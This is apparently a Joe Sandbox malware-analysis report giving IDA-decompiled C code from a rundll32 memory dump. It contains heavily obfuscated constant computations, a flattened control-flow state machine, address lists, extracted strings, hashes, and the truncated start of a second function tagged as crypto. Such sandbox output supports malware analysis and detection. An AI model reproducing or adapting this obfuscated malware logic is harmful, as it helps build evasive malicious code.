				_v232 = 0x94febf;
				_t893 = 0x15b98a1;
				_v232 = _v232 << 0xd;
				_v232 = _v232 + 0xffff7487;
				_v232 = _v232 ^ 0x8b0095cf;
				_v232 = _v232 ^ 0x14d7c15b;
				_v132 = 0x739728;
				_v132 = _v132 + 0x181a;
				_v132 = _v132 + 0xffff9c9c;
				_v132 = _v132 ^ 0x00734b16;
				_v188 = 0x783031;
				_v188 = _v188 << 5;
				_v12 = 0;
				_t788 = 0x6e;
				_v188 = _v188 * 0x59;
				_v188 = _v188 ^ 0x3918a120;
				_v148 = 0xdd82e;
				_v148 = _v148 | 0xe4e540fc;
				_v148 = _v148 + 0xc534;
				_v148 = _v148 ^ 0xe4eede32;
				_v116 = 0x899f5;
				_v116 = _v116 / _t788;
				_v116 = _v116 + 0x5648;
				_v116 = _v116 ^ 0x00406a4c;
				_v156 = 0x9ca5d6;
				_t789 = 0x1c;
				_t891 = 0x7b;
				_v156 = _v156 * 0x64;
				_v156 = _v156 << 9;
				_v156 = _v156 ^ 0x618b3000;
				_v32 = 0xd5cd6e;
				_v32 = _v32 / _t789;
				_v32 = _v32 ^ 0x0407a2c3;
				_v64 = 0x23343;
				_v64 = _v64 / _t891;
				_v64 = _v64 ^ 0x00080494;
				_v252 = 0xfa5485;
				_v252 = _v252 * 0x42;
				_v252 = _v252 | 0xc32886a6;
				_t790 = 0x50;
				_v252 = _v252 * 0x35;
				_v252 = _v252 ^ 0x8227d546;
				_v224 = 0x2e8bf6;
				_v224 = _v224 | 0xf76545cb;
				_v224 = _v224 / _t790;
				_v224 = _v224 << 6;
				_v224 = _v224 ^ 0xc5f30dc0;
				_v16 = 0x78ee4b;
				_v16 = _v16 << 1;
				_v16 = _v16 ^ 0x80f1dc96;
				_v208 = 0x791fee;
				_v208 = _v208 >> 8;
				_v208 = _v208 >> 2;
				_v208 = _v208 >> 0xb;
				_v208 = _v208 ^ 0x00000003;
				_v152 = 0xbd5041;
				_t791 = 5;
				_v152 = _v152 / _t791;
				_v152 = _v152 + 0x721a;
				_v152 = _v152 ^ 0x00264eb2;
				_v136 = 0x6c2d31;
				_v136 = _v136 + 0xffff6aee;
				_v136 = _v136 ^ 0x21760cef;
				_v136 = _v136 ^ 0x211d94ef;
				_v120 = 0x6ceb08;
				_v120 = _v120 + 0xffffcbf6;
				_v120 = _v120 ^ 0x9f43d110;
				_v120 = _v120 ^ 0x9f2f67f1;
				_v88 = 0xc74391;
				_v88 = _v88 + 0xffff6c5e;
				_v88 = _v88 ^ 0x00c6afec;
				_v128 = 0x4b3465;
				_v128 = _v128 | 0xcf5ecbdf;
				_v128 = _v128 ^ 0xcf5ffeff;
				_v264 = 0xfd23b8;
				_t792 = 0x4e;
				_v264 = _v264 / _t792;
				_t793 = 0x45;
				_v264 = _v264 / _t793;
				_v264 = _v264 ^ 0x0002f78a;
				_v264 = 0xfa9619;
				_t794 = 0x1e;
				_v264 = _v264 / _t794;
				_v264 = _v264 + 0xffffb0fb;
				_v264 = _v264 ^ 0x000b775c;
				_v264 = 0x807ba4;
				_v264 = _v264 << 4;
				_v264 = _v264 << 0xa;
				_v264 = _v264 ^ 0x1ee80ab8;
				_v264 = 0x9af257;
				_v264 = _v264 << 0xb;
				_v264 = _v264 * 0x56;
				_v264 = _v264 ^ 0x6b422079;
				_v268 = 0x26ec4d;
				_v268 = _v268 << 0xc;
				_v268 = _v268 >> 0xe;
				_v268 = _v268 ^ 0xbf1cc723;
				_v268 = _v268 ^ 0xbf1316e8;
				_v268 = 0x604ef4;
				_v268 = _v268 | 0xbb4d6b52;
				_v268 = _v268 >> 5;
				_t795 = 0x18;
				_v268 = _v268 / _t795;
				_v268 = _v268 ^ 0x003fa9db;
				_v268 = 0xff1eaf;
				_v268 = _v268 << 8;
				_t796 = 0xa;
				_v268 = _v268 * 0x6c;
				_v268 = _v268 >> 0xc;
				_v268 = _v268 ^ 0x000cb5e2;
				_v260 = 0xc7e312;
				_v260 = _v260 | 0x4ced50b1;
				_v260 = _v260 ^ 0x4ce89335;
				_v260 = 0xaa4ecb;
				_v260 = _v260 << 0x10;
				_v260 = _v260 ^ 0x4ec443b3;
				_v264 = 0x38c20f;
				_v264 = _v264 >> 9;
				_v264 = _v264 | 0x7754c32c;
				_v264 = _v264 ^ 0x775a6c62;
				_v268 = 0xc43478;
				_v268 = _v268 * 0x54;
				_v268 = _v268 ^ 0x37dd0540;
				_v268 = _v268 + 0x34a3;
				_v268 = _v268 ^ 0x77bf44fd;
				_v268 = 0x77fa17;
				_v268 = _v268 + 0xffffb1ac;
				_v268 = _v268 * 0x73;
				_v268 = _v268 << 5;
				_v268 = _v268 ^ 0xb8444167;
				_v172 = 0x123f2b;
				_v172 = _v172 ^ 0x6fe657fb;
				_v172 = _v172 + 0x9431;
				_v172 = _v172 ^ 0x6ff55f0d;
				_v240 = 0xf43856;
				_v240 = _v240 + 0xffff5dae;
				_v240 = _v240 + 0xffff503f;
				_v240 = _v240 >> 5;
				_v240 = _v240 ^ 0x000ec78e;
				_v80 = 0x77a9f7;
				_v80 = _v80 << 0xa;
				_v80 = _v80 ^ 0xdeafa158;
				_v248 = 0x33c41a;
				_v248 = _v248 + 0xffffb1d0;
				_v248 = _v248 * 0x66;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x01f08429;
				_v216 = 0x461c40;
				_v216 = _v216 * 0x16;
				_v216 = _v216 >> 0xb;
				_v216 = _v216 / _t796;
				_v216 = _v216 ^ 0x0005571e;
				_v164 = 0x51d98c;
				_v164 = _v164 | 0x3f5455a1;
				_v164 = _v164 * 0x74;
				_v164 = _v164 ^ 0xb2e52dfc;
				_v108 = 0x44745a;
				_t314 =  &_v108; // 0x44745a
				_v108 =  *_t314 * 0x63;
				_v108 = _v108 + 0xffff8cf2;
				_v108 = _v108 ^ 0x1a7ba94f;
				_v40 = 0xed32ff;
				_v40 = _v40 + 0x1ad9;
				_v40 = _v40 ^ 0x00e55aa4;
				_v196 = 0x47b3fb;
				_v196 = _v196 >> 0xe;
				_v196 = _v196 ^ 0xd9c7612f;
				_v196 = _v196 ^ 0xa0a00898;
				_v196 = _v196 ^ 0x7960f230;
				_v180 = 0x538ee1;
				_v180 = _v180 >> 6;
				_v180 = _v180 | 0xecdb2f6f;
				_v180 = _v180 ^ 0xecd76c94;
				_v104 = 0x633234;
				_v104 = _v104 ^ 0xd30b5520;
				_v104 = _v104 | 0xe2e43f1e;
				_v104 = _v104 ^ 0xf3ed65d6;
				_v212 = 0xf9c0f6;
				_v212 = _v212 + 0x2d4a;
				_t797 = 6;
				_v212 = _v212 * 0x4f;
				_v212 = _v212 + 0x46b3;
				_v212 = _v212 ^ 0x4d2b61f6;
				_v100 = 0xc841ec;
				_v100 = _v100 * 0x22;
				_v100 = _v100 ^ 0x1a9d1048;
				_v28 = 0x65babf;
				_v28 = _v28 + 0xffff8486;
				_v28 = _v28 ^ 0x006f3125;
				_v256 = 0xbe5bf2;
				_v256 = _v256 + 0xc39e;
				_v256 = _v256 * 0xc;
				_v256 = _v256 / _t797;
				_v256 = _v256 ^ 0x01787995;
				_v72 = 0xd91fd7;
				_v72 = _v72 + 0x652d;
				_v72 = _v72 ^ 0x00d4f002;
				_v96 = 0xd13a07;
				_t798 = 0x60;
				_v96 = _v96 / _t798;
				_v96 = _v96 ^ 0x000707c2;
				_v20 = 0xffc8b7;
				_v20 = _v20 ^ 0x1e1e598a;
				_v20 = _v20 ^ 0x1ee18fe4;
				_v176 = 0xcdab5;
				_v176 = _v176 ^ 0x9598c7bd;
				_v176 = _v176 + 0xffff92b0;
				_v176 = _v176 ^ 0x959d0362;
				_v184 = 0xa758a4;
				_v184 = _v184 + 0x5903;
				_v184 = _v184 + 0xfffff609;
				_v184 = _v184 ^ 0x00ae750e;
				_v56 = 0xc83e02;
				_v56 = _v56 << 2;
				_v56 = _v56 ^ 0x0323bea3;
				_v76 = 0xad0f66;
				_v76 = _v76 >> 0x10;
				_v76 = _v76 ^ 0x00063244;
				_v84 = 0x39efa1;
				_v84 = _v84 ^ 0xb68855ee;
				_v84 = _v84 ^ 0xb6b61069;
				_v92 = 0xe02175;
				_v92 = _v92 | 0xb2c815a7;
				_v92 = _v92 ^ 0xb2e41d90;
				_v236 = 0x4481b2;
				_v236 = _v236 + 0x743f;
				_v236 = _v236 * 0x2f;
				_v236 = _v236 >> 0xf;
				_v236 = _v236 ^ 0x0006d55a;
				_v160 = 0xb9532c;
				_v160 = _v160 << 5;
				_v160 = _v160 * 0x49;
				_v160 = _v160 ^ 0x9b1801bc;
				_v244 = 0x1281ad;
				_v244 = _v244 + 0xa67d;
				_v244 = _v244 ^ 0x7c1b37b8;
				_v244 = _v244 + 0xffff20cb;
				_v244 = _v244 ^ 0x7c0b9163;
				_v192 = 0x88e24d;
				_v192 = _v192 ^ 0x2ebd1bb6;
				_v192 = _v192 / _t891;
				_v192 = _v192 ^ 0x006b6db3;
				_v68 = 0xd4274f;
				_t799 = 0x2e;
				_v68 = _v68 / _t799;
				_v68 = _v68 ^ 0x00048e69;
				_v144 = 0xb83dd4;
				_v144 = _v144 | 0xb8649d90;
				_v144 = _v144 + 0x9cab;
				_v144 = _v144 ^ 0xb8f32006;
				_v228 = 0x23b3be;
				_v228 = _v228 << 8;
				_v228 = _v228 + 0x2e9b;
				_v228 = _v228 + 0xffff8964;
				_v228 = _v228 ^ 0x23ba9bf9;
				_v264 = 0xe685de;
				_t800 = 0x37;
				_v264 = _v264 * 5;
				_v264 = _v264 << 3;
				_v264 = _v264 ^ 0x240c8630;
				_v44 = 0x14cbda;
				_v44 = _v44 + 0xffff3a4b;
				_v44 = _v44 ^ 0x0010602b;
				_v52 = 0x1a3334;
				_v52 = _v52 ^ 0x068d8d0f;
				_v52 = _v52 ^ 0x06918054;
				_v60 = 0xaf3d51;
				_v60 = _v60 + 0xffff6264;
				_v60 = _v60 ^ 0x00a9df53;
				_v200 = 0x71a8f9;
				_v200 = _v200 + 0x8847;
				_v200 = _v200 ^ 0x82b40171;
				_v200 = _v200 / _t800;
				_v200 = _v200 ^ 0x02617ea6;
				_v204 = 0x911bb9;
				_t801 = 0x35;
				_v204 = _v204 * 0x50;
				_v204 = _v204 + 0xffff59e3;
				_v204 = _v204 / _t801;
				_v204 = _v204 ^ 0x00d8a8d3;
				_v48 = 0x1e2b49;
				_v48 = _v48 + 0xffff0c75;
				_v48 = _v48 ^ 0x001a2795;
				_v168 = 0xc7820c;
				_t802 = 0x39;
				_v168 = _v168 / _t802;
				_v168 = _v168 + 0xffff4704;
				_v168 = _v168 ^ 0x0003986f;
				_v124 = 0x6bd51f;
				_v124 = _v124 << 0xc;
				_v124 = _v124 * 0x75;
				_v124 = _v124 ^ 0x8677d78d;
				_v112 = 0x5ede35;
				_v112 = _v112 << 0xe;
				_v112 = _v112 | 0xed99d87a;
				_v112 = _v112 ^ 0xff9c1971;
				_v140 = 0xd25fe4;
				_v140 = _v140 ^ 0x91b7fe4b;
				_t803 = 0x31;
				_v140 = _v140 * 0x59;
				_v140 = _v140 ^ 0x8c53baba;
				_v24 = 0x69dec7;
				_v24 = _v24 + 0xffff289d;
				_v24 = _v24 ^ 0x0068496e;
				_v268 = 0xfe2e0f;
				_v268 = _v268 + 0x26d8;
				_v268 = _v268 / _t803;
				_t804 = 0x1a;
				_v268 = _v268 / _t804;
				_v268 = _v268 ^ 0x000142e0;
				_v260 = 0xf9e36a;
				_v260 = _v260 | 0x3f41e488;
				_v260 = _v260 ^ 0x3ff084b0;
				_t900 = _v8;
				_t892 = _v8;
				while(1) {
					L1:
					_t757 = _v220;
					_t805 = 0x8b02343;
					while(1) {
						L2:
						_t874 = 0x1521ea4;
						while(1) {
							L3:
							_t904 = _t893 - 0x65b0c22;
							if(_t904 > 0) {
								goto L18;
							}
							L4:
							if(_t904 == 0) {
								E029C7B46(_t757, _v140, _v24);
								_t893 = 0x2386dfb;
								while(1) {
									L1:
									_t757 = _v220;
									_t805 = 0x8b02343;
									goto L2;
								}
							} else {
								if(_t893 == _t874) {
									_t757 = E029CF984(_v196, _t900, _t805, _t805, _v180, _t805, _v104, _a40, _t805, _v88, _v212, _a20, _v100, _v28);
									_t902 =  &(_t902[0xc]);
									_v220 = _t757;
									__eflags = _t757;
									_t805 = 0x8b02343;
									_t893 =  !=  ? 0x8b02343 : 0x2386dfb;
									goto L2;
								} else {
									if(_t893 == 0x15b98a1) {
										_t893 = 0x9ed2ff1;
										continue;
									} else {
										if(_t893 == 0x2386dfb) {
											E029C7B46(_t900, _v268, _v260);
										} else {
											if(_t893 == 0x4000434) {
												E029C7B46(_t892, _v124, _v112);
												_t893 = 0x65b0c22;
												while(1) {
													L1:
													_t757 = _v220;
													_t805 = 0x8b02343;
													goto L2;
												}
											} else {
												if(_t893 != 0x4250561) {
													L38:
													__eflags = _t893 - 0xc402532;
													if(_t893 != 0xc402532) {
														_t757 = _v220;
														continue;
													}
												} else {
													_t823 = _v4;
													if( *_t823 == 0) {
														_t769 = 0;
														__eflags = 0;
													} else {
														_t769 =  *((intOrPtr*)(_t823 + 4));
													}
													E029DD4B7(_v200, _t892, _v204, _t823, _t769, _a8, _v48, _v168,  *_t823);
													_t902 =  &(_t902[7]);
													asm("sbb esi, esi");
													_t893 = (_t893 & 0x06f981ef) + 0x4000434;
													while(1) {
														L1:
														_t757 = _v220;
														_t805 = 0x8b02343;
														L2:
														_t874 = 0x1521ea4;
														while(1) {
															L3:
															_t904 = _t893 - 0x65b0c22;
															if(_t904 > 0) {
																goto L18;
															}
															goto L4;
														}
														goto L18;
													}
												}
											}
										}
									}
								}
							}
							L41:
							return _t786;
							L18:
							__eflags = _t893 - _t805;
							if(_t893 == _t805) {
								__eflags =  *_v4;
								if(__eflags == 0) {
									_t759 = _v12;
								} else {
									_push(0x29c1178);
									_v12 = E029E0AD3(_v256, _v72, __eflags);
								}
								_t814 = _v16 | _v224 | _v252 | _v64 | _v32 | _v156 | _v116 | _v148 | _v188;
								_t895 = _a36 & 1;
								__eflags = _t895;
								if(_t895 != 0) {
									__eflags = _t814;
								}
								_t892 = E029DE70C(_t814, 1, _v96, _v20, _t814, _v176, _t814, _v184, _v220, _t814, _v56, _a28, _t759);
								E029D2EED(_v76, _v84, _v92, _v12);
								_t902 =  &(_t902[0xd]);
								__eflags = _t892;
								if(_t892 == 0) {
									_t893 = 0x65b0c22;
									goto L37;
								} else {
									_v36 = 1;
									E029CD7E2(_t892,  &_v36, 4, _v236, _v152, _v160, _v244, _v192);
									_t902 =  &(_t902[6]);
									__eflags = _t895;
									if(_t895 != 0) {
										E029D5F7D(_v68, _t892,  &_v8, _v136, _v144, _v228,  &_v36);
										_t684 =  &_v36;
										 *_t684 = _v36 | _v128;
										__eflags =  *_t684;
										E029CD7E2(_t892,  &_v36, _v8, _v264, _v120, _v44, _v52, _v60);
										_t902 =  &(_t902[0xb]);
									}
									_t893 = 0x4250561;
									goto L1;
								}
							} else {
								__eflags = _t893 - 0x93954fc;
								if(_t893 == 0x93954fc) {
									__eflags = E029D5B7C(_t892, _a16);
									_t893 = 0x4000434;
									_t765 = 1;
									_t786 =  !=  ? _t765 : _t786;
									while(1) {
										L1:
										_t757 = _v220;
										_t805 = 0x8b02343;
										goto L2;
									}
								} else {
									__eflags = _t893 - 0x9ed2ff1;
									if(_t893 == 0x9ed2ff1) {
										_t893 = 0xdffbe0d;
										continue;
									} else {
										__eflags = _t893 - 0xaf98623;
										if(__eflags == 0) {
											__eflags = E029E314A(_t892, _v232, __eflags) - _v132;
											_t893 =  ==  ? 0x93954fc : 0x4000434;
											while(1) {
												L1:
												_t757 = _v220;
												_t805 = 0x8b02343;
												goto L2;
											}
										} else {
											__eflags = _t893 - 0xdffbe0d;
											if(_t893 == 0xdffbe0d) {
												_push(_t805);
												_t775 = E029D02E9(_v172, _v240, _v80, _t805, _t805, _v208, _t805, _v248);
												_t900 = _t775;
												__eflags = _t775;
												_t893 =  !=  ? 0x1521ea4 : 0xc402532;
												E029CF699(_v216, 0, _v164, _v108, _v40);
												_t902 =  &(_t902[0xa]);
												L37:
												_t874 = 0x1521ea4;
												_t805 = 0x8b02343;
											}
											goto L38;
										}
									}
								}
							}
							goto L41;
						}
					}
				}
			}

0x029c997d
0x029c9987
0x029c998e
0x029c9995
0x029c999c
0x029c99a3
0x029c99aa
0x029c99ab
0x029c99b2
0x029c99b9
0x029c99c0
0x029c99c7
0x029c99c9
0x029c99ce
0x029c99d8
0x029c99dd
0x029c99e0
0x029c99ea
0x029c99f2
0x029c99f4
0x029c99fc
0x029c9a01
0x029c9a06
0x029c9a0e
0x029c9a16
0x029c9a1e
0x029c9a29
0x029c9a34
0x029c9a3f
0x029c9a4a
0x029c9a52
0x029c9a57
0x029c9a65
0x029c9a68
0x029c9a6c
0x029c9a74
0x029c9a7f
0x029c9a8a
0x029c9a95
0x029c9aa0
0x029c9ab6
0x029c9abd
0x029c9ac8
0x029c9ad3
0x029c9ae6
0x029c9ae9
0x029c9aea
0x029c9af1
0x029c9af9
0x029c9b04
0x029c9b1a
0x029c9b21
0x029c9b2c
0x029c9b40
0x029c9b47
0x029c9b52
0x029c9b5f
0x029c9b63
0x029c9b74
0x029c9b77
0x029c9b7b
0x029c9b83
0x029c9b8b
0x029c9b9b
0x029c9b9f
0x029c9ba4
0x029c9bac
0x029c9bb7
0x029c9bbe
0x029c9bc9
0x029c9bd1
0x029c9bd6
0x029c9bdb
0x029c9be0
0x029c9be5
0x029c9bf7
0x029c9bfc
0x029c9c05
0x029c9c10
0x029c9c1b
0x029c9c26
0x029c9c31
0x029c9c3c
0x029c9c47
0x029c9c52
0x029c9c5d
0x029c9c68
0x029c9c73
0x029c9c7e
0x029c9c89
0x029c9c94
0x029c9c9f
0x029c9caa
0x029c9cb5
0x029c9cc1
0x029c9cc6
0x029c9cd0
0x029c9cd5
0x029c9cdb
0x029c9ce3
0x029c9cef
0x029c9cf2
0x029c9cf6
0x029c9cfe
0x029c9d06
0x029c9d0e
0x029c9d13
0x029c9d18
0x029c9d20
0x029c9d28
0x029c9d32
0x029c9d36
0x029c9d3e
0x029c9d46
0x029c9d4b
0x029c9d50
0x029c9d58
0x029c9d60
0x029c9d6a
0x029c9d72
0x029c9d7d
0x029c9d82
0x029c9d88
0x029c9d90
0x029c9d98
0x029c9da2
0x029c9da3
0x029c9da7
0x029c9dac
0x029c9db4
0x029c9dbc
0x029c9dc4
0x029c9dcc
0x029c9dd4
0x029c9dd9
0x029c9de1
0x029c9de9
0x029c9dee
0x029c9df6
0x029c9dfe
0x029c9e0b
0x029c9e0f
0x029c9e17
0x029c9e1f
0x029c9e27
0x029c9e2f
0x029c9e3c
0x029c9e40
0x029c9e45
0x029c9e4d
0x029c9e55
0x029c9e5d
0x029c9e65
0x029c9e6d
0x029c9e75
0x029c9e7d
0x029c9e85
0x029c9e8a
0x029c9e92
0x029c9e9d
0x029c9ea5
0x029c9eb0
0x029c9eb8
0x029c9ec5
0x029c9ec9
0x029c9ece
0x029c9ed6
0x029c9ee3
0x029c9ee7
0x029c9ef2
0x029c9ef6
0x029c9efe
0x029c9f06
0x029c9f13
0x029c9f17
0x029c9f1f
0x029c9f2a
0x029c9f32
0x029c9f39
0x029c9f44
0x029c9f4f
0x029c9f5a
0x029c9f65
0x029c9f70
0x029c9f78
0x029c9f7f
0x029c9f87
0x029c9f8f
0x029c9f97
0x029c9f9f
0x029c9fa4
0x029c9fac
0x029c9fb4
0x029c9fbf
0x029c9fca
0x029c9fd5
0x029c9fe0
0x029c9fe8
0x029c9ff7
0x029c9ffa
0x029c9ffe
0x029ca006
0x029ca00e
0x029ca021
0x029ca028
0x029ca033
0x029ca03e
0x029ca049
0x029ca054
0x029ca05c
0x029ca069
0x029ca075
0x029ca079
0x029ca081
0x029ca08c
0x029ca097
0x029ca0a2
0x029ca0b4
0x029ca0b7
0x029ca0be
0x029ca0c9
0x029ca0d4
0x029ca0df
0x029ca0ea
0x029ca0f2
0x029ca0fa
0x029ca102
0x029ca10a
0x029ca112
0x029ca11a
0x029ca122
0x029ca12a
0x029ca135
0x029ca13d
0x029ca148
0x029ca153
0x029ca15b
0x029ca166
0x029ca171
0x029ca17c
0x029ca187
0x029ca192
0x029ca19d
0x029ca1a8
0x029ca1b0
0x029ca1bd
0x029ca1c1
0x029ca1c6
0x029ca1ce
0x029ca1d6
0x029ca1e0
0x029ca1e4
0x029ca1ec
0x029ca1f6
0x029ca1fe
0x029ca206
0x029ca20e
0x029ca216
0x029ca21e
0x029ca22e
0x029ca234
0x029ca23c
0x029ca24e
0x029ca253
0x029ca25c
0x029ca267
0x029ca272
0x029ca27d
0x029ca288
0x029ca293
0x029ca29b
0x029ca2a0
0x029ca2a8
0x029ca2b0
0x029ca2b8
0x029ca2c5
0x029ca2c8
0x029ca2cc
0x029ca2d1
0x029ca2d9
0x029ca2e4
0x029ca2ef
0x029ca2fa
0x029ca305
0x029ca310
0x029ca31b
0x029ca326
0x029ca331
0x029ca33c
0x029ca344
0x029ca34c
0x029ca35c
0x029ca360
0x029ca368
0x029ca375
0x029ca378
0x029ca37c
0x029ca38c
0x029ca390
0x029ca398
0x029ca3a3
0x029ca3ae
0x029ca3b9
0x029ca3c5
0x029ca3c8
0x029ca3cc
0x029ca3d4
0x029ca3dc
0x029ca3e7
0x029ca3f7
0x029ca3fe
0x029ca409
0x029ca416
0x029ca41e
0x029ca429
0x029ca434
0x029ca43f
0x029ca454
0x029ca457
0x029ca45e
0x029ca469
0x029ca474
0x029ca47f
0x029ca48a
0x029ca492
0x029ca4a2
0x029ca4aa
0x029ca4ad
0x029ca4b1
0x029ca4b9
0x029ca4c1
0x029ca4c9
0x029ca4d1
0x029ca4d8
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x029ca4e8
0x029ca4e8
0x029ca4e8
0x029ca4ed
0x029ca4ed
0x029ca4ed
0x029ca4f3
0x00000000
0x00000000
0x029ca4f9
0x029ca4f9
0x029ca61f
0x029ca625
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x00000000
0x029ca4e3
0x029ca4ff
0x029ca501
0x029ca5ef
0x029ca5f4
0x029ca5f7
0x029ca5fb
0x029ca602
0x029ca607
0x00000000
0x029ca507
0x029ca50d
0x029ca5a3
0x00000000
0x029ca513
0x029ca519
0x029ca8d5
0x029ca51f
0x029ca525
0x029ca593
0x029ca599
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x00000000
0x029ca4e3
0x029ca527
0x029ca52d
0x029ca8ba
0x029ca8ba
0x029ca8c0
0x029ca8c2
0x00000000
0x029ca8c2
0x029ca533
0x029ca533
0x029ca53d
0x029ca544
0x029ca544
0x029ca53f
0x029ca53f
0x029ca53f
0x029ca566
0x029ca56b
0x029ca570
0x029ca578
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x029ca4e8
0x029ca4e8
0x029ca4ed
0x029ca4ed
0x029ca4ed
0x029ca4f3
0x00000000
0x00000000
0x00000000
0x029ca4f3
0x00000000
0x029ca4ed
0x029ca4df
0x029ca52d
0x029ca525
0x029ca519
0x029ca50d
0x029ca501
0x029ca8de
0x029ca8e7
0x029ca62f
0x029ca62f
0x029ca631
0x029ca718
0x029ca71b
0x029ca73c
0x029ca71d
0x029ca728
0x029ca733
0x029ca733
0x029ca77f
0x029ca783
0x029ca783
0x029ca785
0x029ca787
0x029ca787
0x029ca7c1
0x029ca7e0
0x029ca7e5
0x029ca7e8
0x029ca7ea
0x029ca8ab
0x00000000
0x029ca7f0
0x029ca80b
0x029ca81f
0x029ca824
0x029ca827
0x029ca829
0x029ca856
0x029ca870
0x029ca870
0x029ca870
0x029ca899
0x029ca89e
0x029ca89e
0x029ca8a1
0x00000000
0x029ca8a1
0x029ca637
0x029ca637
0x029ca63d
0x029ca6ff
0x029ca701
0x029ca708
0x029ca709
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x00000000
0x029ca4e3
0x029ca643
0x029ca643
0x029ca649
0x029ca6e7
0x00000000
0x029ca64f
0x029ca64f
0x029ca655
0x029ca6d8
0x029ca6df
0x029ca4df
0x029ca4df
0x029ca4df
0x029ca4e3
0x00000000
0x029ca4e3
0x029ca657
0x029ca657
0x029ca65d
0x029ca663
0x029ca681
0x029ca68d
0x029ca69b
0x029ca6ad
0x029ca6b2
0x029ca6b7
0x029ca8b0
0x029ca8b0
0x029ca8b5
0x029ca8b5
0x00000000
0x029ca65d
0x029ca655
0x029ca649
0x029ca63d
0x00000000
0x029ca631
0x029ca4ed
0x029ca4e8

Strings

blZw, xrefs: 029C9DF6
42c, xrefs: 029C9FB4
%1o, xrefs: 029CA049
Lj@, xrefs: 029C9AC8
ZtD, xrefs: 029C9F2A
Kx, xrefs: 029C9BAC
10x, xrefs: 029C9A4A
-e, xrefs: 029CA08C
M&, xrefs: 029C9D3E
u!, xrefs: 029CA187
J-, xrefs: 029C9FE8
?t, xrefs: 029CA1B0
nIh, xrefs: 029CA47F
e4K, xrefs: 029C9C94
1-l, xrefs: 029C9C1B

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: %1o$-e$1-l$10x$42c$?t$J-$Kx$Lj@$M&$ZtD$blZw$e4K$nIh$u!
API String ID: 0-4213897193
Opcode ID: 868c8ba68df88550b85f9a57ada425ed49fa3e80cb2df022946ba4dfb2dd3f51
Instruction ID: 5eb4760766890bf0a04c31d67ae2b52eb144d65e9ed52512c76836998df9e053
Opcode Fuzzy Hash: 868c8ba68df88550b85f9a57ada425ed49fa3e80cb2df022946ba4dfb2dd3f51
Instruction Fuzzy Hash: 4B72FF715083818FE378CF25C54AA9BFBE2BBD4708F10891DE5DA96260D7B18949CF93

Uniqueness

Uniqueness Score: -1.00%

Function 029C6BFE, Relevance: 18.0, Strings: 14, Instructions: 484
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E029C6BFE(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				unsigned int _v1780;
				signed int _v1784;
				signed int _v1788;
				signed int _v1792;
				signed int _v1796;
				signed int _v1800;
				void* _t556;
				void* _t560;
				void* _t564;
				short* _t570;
				void* _t577;
				void* _t579;
				void* _t583;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				void* _t597;
				signed int _t660;
				signed int _t661;
				void* _t663;
				void* _t668;
				intOrPtr* _t671;

				_v1584 = _v1584 & 0x00000000;
				_v1624 = 0xcd6a8e;
				_v1624 = _v1624 ^ 0x59f85b52;
				_v1624 = _v1624 ^ 0x5b3531dc;
				_v1780 = 0x153796;
				_v1780 = _v1780 ^ 0xa8923899;
				_v1780 = _v1780 | 0xac28b23c;
				_v1780 = _v1780 >> 0xd;
				_v1780 = _v1780 ^ 0x0003c082;
				_v1632 = 0x568d1d;
				_v1632 = _v1632 << 0xf;
				_v1632 = _v1632 ^ 0x468ec217;
				_v1616 = 0x9d4355;
				_t660 = 0x37;
				_t583 = __ecx;
				_v1616 = _v1616 / _t660;
				_t663 = 0x4a96617;
				_v1616 = _v1616 ^ 0x0000359d;
				_v1724 = 0x93f9c3;
				_v1724 = _v1724 << 2;
				_v1724 = _v1724 | 0x87fdad86;
				_v1724 = _v1724 ^ 0x87f5a7af;
				_v1772 = 0x86acb0;
				_t585 = 0x4f;
				_v1772 = _v1772 / _t585;
				_v1772 = _v1772 | 0x63c36736;
				_t586 = 0x5d;
				_v1772 = _v1772 * 0x4d;
				_v1772 = _v1772 ^ 0x01fd54a9;
				_v1708 = 0x504327;
				_v1708 = _v1708 << 6;
				_v1708 = _v1708 | 0x5b079a0f;
				_v1708 = _v1708 ^ 0x5f1f0ea3;
				_v1744 = 0x483dfe;
				_v1744 = _v1744 + 0x7962;
				_v1744 = _v1744 | 0x8f7a93af;
				_v1744 = _v1744 * 0x5e;
				_v1744 = _v1744 ^ 0xaf0ce591;
				_v1604 = 0xf324fc;
				_v1604 = _v1604 / _t586;
				_v1604 = _v1604 ^ 0x000117e7;
				_v1660 = 0x9b0ff3;
				_v1660 = _v1660 + 0xffff7fbd;
				_v1660 = _v1660 ^ 0x00946493;
				_v1768 = 0xe3e80;
				_v1768 = _v1768 + 0xffff3949;
				_v1768 = _v1768 ^ 0xcc667bab;
				_v1768 = _v1768 + 0xd761;
				_v1768 = _v1768 ^ 0xcc67c94c;
				_v1752 = 0x1ba7c7;
				_v1752 = _v1752 << 0xf;
